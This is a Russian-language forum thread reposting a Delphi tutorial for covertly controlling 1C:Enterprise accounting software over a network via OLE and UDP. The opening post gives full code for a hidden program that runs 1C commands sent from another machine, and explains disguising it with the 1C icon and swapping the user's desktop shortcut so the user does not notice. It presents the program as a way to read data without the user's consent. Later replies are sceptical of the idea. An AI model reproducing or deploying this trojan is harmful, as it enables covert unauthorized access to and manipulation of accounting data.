Модераторы: stron
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Управляем 1С через сеть, OLE+UDP 
:(
    Опции темы
Darksquall
Дата 28.1.2006, 13:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 326
Регистрация: 22.1.2004
Где: Москва

Репутация: 3
Всего: 4



Огромное количество организаций использует систему 1С:Предприятие, но не каждый пользователь подозревает о возможном проникновении в его систему чужаков и получении данных из базы, а также частичном управлении функциями 1С удаленно. Сразу скажу что, данный механизм использования 1С:Предприятие позволит усовершенствовать некоторые функции системы и ни коим образом не является руководством к разрушению (порче) данных или к помехам действий удаленного пользователя. Статья позволит программистам приобрести дополнительные навыки в использовании системы и расширить познания.

Общий принцип механизма состоит в соединении с 1С через OLE и последующем использованием функций 1С на основе принимаемых команд от удаленного компьютера, т.к. в Delphi мы можем написать приложение невидимое для пользователя, то программа на Delphi, контролирующая 1С, будет скрыта от глаз пользователя и подвох не будет заметен, следовательно вину после приходящего на глазах у пользователя ужаса не на кого будет переложить кроме как на него самого. С помощью подобного механизма открываются возможности по управлению системы находясь за другим компьютером в сети, также появляется доступ к выгрузке данных из системы без согласия на то пользователя, т.к. попадаем мы в систему вместе с пользователем, под его учетной записью и паролем.

Вооружившись Delphi (я использовал Delphi 6.0), приступим:

Создаем обычное приложение,

File->New->Application

Создается форма, бросаем на форму Memo из вкладки Standard, 2 кнопки Button (вкладка Standard), Edit (вкладка Standard), IdUDPClient из вкладки IndyClients, IdUDPServer из вкладки IndyServers.

Настроим компоненты.

Компонента Мемо.

Кликаем на Memo, в object inspeсtor находим параметр Line - нажимаем, появляется окно - стираем надпись Memo1, выходим из String List Editor. Для наглядности выбираем значение ScrollBars Memo равное ssVertical.

Компонента Button.

В object inspeсtor меняем содержимое параметра Caption на "Отправить 1С". Во второй кнопке то же самое.

Компонента Edit.

В object inspeсtor очищаем содержимое параметра Text.

Компонента IdUDPClient - Отсылает данные.

Выберем любой порт от 1 до 65000, через который будет происходить связь, я выбрал 122 (можете выбрать любой другой). Присваиваем это значение свойству Port компоненты. Заполним свойство Host, сюда записывается IP-адрес компьютера, которому будет отправляться сообщение. BroadCastEnabled устанавливаем в true. А вместо конкретного IP-адреса рекомендую использовать широковещательный (отправляется всем), последний октет 255.Например 192.168.12.255. Свойство Active устанавливаем в True.

Компонента IdUDPServer - Получает данные.

Выбираем тот же порт что и в IdUDPClient. BroadCastEnabled устанавливаем в true. Свойство Active устанавливаем в True.

Все компоненты на форме, теперь приступим к написанию кода.

Добавляем в Uses модуль comobj

Код

Uses Windows,...,comobj;



Добавляем переменную

Код

var
Form1: TForm1;
serv1C: Olevariant;


Кликаем 2 раза на форму приложения, в появившейся процедуре

FormCreate(Sender: TObject);

пишем следующий код

Код

procedure TForm1.FormCreate(Sender: TObject);
var
h:HWND;
res:integer;
begin
if trim(paramstr(1))='server'
then
begin
Application.Showmainform:=false;// Скрываем форму нашего приложения
ShowWindow(Application.Handle, SW_HIDE);
serv1C := createoleobject('V1CEnterprise.Application');// создаем OLE обьект 1С Предприятия
res:=serv1C.initialize(serv1C.rmtrade,'','SPLASH_SHOW');// Инициализируем его с показом картинки 1С во время загрузки
if res<>0 then
begin
h:= findwindow(nil, '1С:Предприятие - Бухгалтерский учет, редакция 4.5: ООО "Рога и Копыта"');// Ищем окно 1С, здесь важно не ошибиться с именем окна, имя должно точно соответствовать конфигурации 1С
ShowWindow(h,SW_SHOW);
end
else
begin
serv1C:=UnAssigned;// Подключение не удалось
Application.Terminate;
end;
end;
end;


кликаем на компоненте IdUDPServer, выбираем вкладку Events, 2 раза кликаем по свойству OnUDPRead и заполняем процедуру следующим образом.

Код

procedure TForm1.IdUDPServer1UDPRead (Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
var
FStream:TStringstream;
begin
FStream:=TStringStream.Create('');
FStream.CopyFrom(AData,Adata.Size);
serv1C.ExecuteBatch(Fstream.DataString);// Отсылаем команды прямо в 1С Предприятие
Fstream.Free;
end;


Добавим в программу еще одну процедуру.

Код

procedure TForm1.Otpravka(str:widestring);// любая строка передаваемая в эту процедуру, попадет на выполнение в 1С Предприятие
begin
form1.IdUDPClient1.Send(str);
end;


Добавим ее в класс TFOrm.

Код

type
TForm1 = class(TForm)
IdUDPClient1: TIdUDPClient;
IdUDPServer1: TIdUDPServer;
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
Memo1: TMemo;
procedure IdUDPServer1UDPRead (Sender: TObject; AData: TStream;ABinding: TIdSocketHandle);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Otpravka(str:widestring);// Здесь наша процедура
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;


Кликаем 2 раза на каждой из кнопок (Button) и записываем следующий код.

Код

procedure TForm1.Button1Click(Sender: TObject);
begin
Otpravka(Form1.Memo1.Lines.Text);
end;


Вторая кнопка.

Код

procedure TForm1.Button2Click(Sender: TObject);
begin
Otpravka('Сообщить("'+Form1.Edit1.Text+'");');
end;


Итак, программа готова, компилируем ее (F9) на экране появляется форма программы.

В нижнюю строчку запишем текст для передачи в окно сообщений 1С Предприятия, а верхнее поле предназначено для отправки текста программы на языке 1С.

Единственное ограничение: подобным образом (через OLE) нельзя создавать переменные 1С Предприятия, но есть выход - использовать переменные системы, которые находятся в глобальном модуле конфигурации например

Да=СоздатьОбъект("Документ.ПоступлениеТоваров");

переменная "Да" из глобального модуля.

Многообразие команд языка 1С Предприятие открывает широкий доступ к системе, в 1С есть даже подобие SQL языка, приведу несколько примеров использования команд (все остальное в справочниках 1С Предприятия):

Да=СоздатьОбъект("Документ.ПоступлениеТоваров");
Да.НайтиПоНомеру("00000001","01.01.2006");
Нет=Да.ТекущийДокумент();
ОткрытьФорму(Нет);

Использованы глобальные переменные системы (Да и Нет),программа откроет документ и выведет его на экран без согласия пользователя, или например

ОткрытьФорму("Справочник.Номенклатура");

откроет справочник номенклатура.

Сообщить("Hello world!");

отправит в 1С Предприятие сообщение.

Все, что останется сделать, так это подменить значок в нашей программе на значок 1С,положить ярлык (на комп юзера с параметром server) вместо ярлыка 1С на рабочий стол, запустить копию на нашем компе без параметров и хорошенько подумать, а стоит ли вообще усложнять жизнь юзерам и в особенности бухгалтерам :-).

Подобный механизм открывает большие возможности для экспериментов над 1С Предприятием, а так же над ее пользователями, которые будут удивлены тем, что 1С начнет жить собственной жизнью, общаться с пользователем, создавать или уничтожать элементы системы, возможна даже реализация чата на основе 1С Предприятия.

Желаю успехов в освоении и использовании.

Полную версии моей статьи с примером проги качаем с

Статья на Хакере

http://www.xakep.ru/post/29747/default.asp

Alimoff Roman ([email protected])


--------------------
PM WWW ICQ   Вверх
Jureth
Дата 5.5.2006, 05:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 74
Регистрация: 23.11.2004
Где: где-то в Западной Сибири

Репутация: 1
Всего: 3



Смешно. 
PM   Вверх
Darksquall
Дата 5.5.2006, 14:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 326
Регистрация: 22.1.2004
Где: Москва

Репутация: 3
Всего: 4



ага смехота, особенно када Юзер обнаружит все это smile  


--------------------
PM WWW ICQ   Вверх
Jureth
Дата 6.5.2006, 05:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 74
Регистрация: 23.11.2004
Где: где-то в Западной Сибири

Репутация: 1
Всего: 3



Да дело не в том, обнаружит юзер это или нет - просто, чтобы установить это нужны полные права на машину юзера. Хакер, получив эти права будет заниматься другим и по другому. А программеру, как показывает практика, это наф не надо. У него на 1С и так обычно есть аккаунт с полными правами и он может творить чего захочет.

Цитата
Подобный механизм открывает большие возможности для экспериментов над 1С Предприятием, а так же над ее пользователями, которые будут удивлены тем, что 1С начнет жить собственной жизнью, общаться с пользователем, создавать или уничтожать элементы системы, возможна даже реализация чата на основе 1С Предприятия.
А как только заметят, то, скорее всего, сразу позовут программера, который (если не дурак) быстро просечёт, где собака порылась, со всеми выходящими.... 

А чат и без OLE нормально на 1С делается. 

Это сообщение отредактировал(а) Jureth - 6.5.2006, 05:48
PM   Вверх
XpyDi
Дата 6.5.2006, 09:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 114
Регистрация: 25.11.2002
Где: USSR

Репутация: нет
Всего: 2



Можно написать неплохую систему удаленного администрирования для 1C smile
Хотя, конечно, овчинка не стоит выделки! 
PM MAIL WWW ICQ   Вверх
Jureth
Дата 7.5.2006, 22:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 74
Регистрация: 23.11.2004
Где: где-то в Западной Сибири

Репутация: 1
Всего: 3



Цитата(XpyDi @  6.5.2006,  12:05 Найти цитируемый пост)
Хотя, конечно, овчинка не стоит выделки! 
Я вообще не понимаю, чего она может стоить, кроме лишних нервов. А если узнают, что ты что-то там делаешь используюя аккаунт буха втихаря от этого самого буха, причём таким странным способом, то можно смело начинать копать себе могилу. Ведь обьяснить подобное поведение, ИМХО, будет очень проблематично.  

Это сообщение отредактировал(а) Jureth - 7.5.2006, 22:55
PM   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "1C: Предприятие, SAP, ERP и учётные системы"
stron

Запрещается!

1. Обсуждение крэков, кейгенов и других подобных программ

Пробуйте искать сами или обращайтесь в приват к участникам форума.

Темы с подобными вещами будут немедленно удаляться, а нарушители - получать предупреждения.

Также запрещается обсуждение проблем работы этих программ (что куда вписать, куда что скопировать и т.п...)

2. Давать ссылки на взломанные продукты

  • Пожалуйста, пользуйтесь поиском перед тем, как задать вопрос - возможно ответ уже есть на форуме.
  • Название темы должно отражать её суть
  • Действия модераторов можно обсудить здесь

С уважением, stron, Pegas.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | 1C: Предприятие, SAP, ERP и учётные системы | Следующая тема »


 




[ Время генерации скрипта: 0.0860 ]   [ Использовано запросов: 20 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.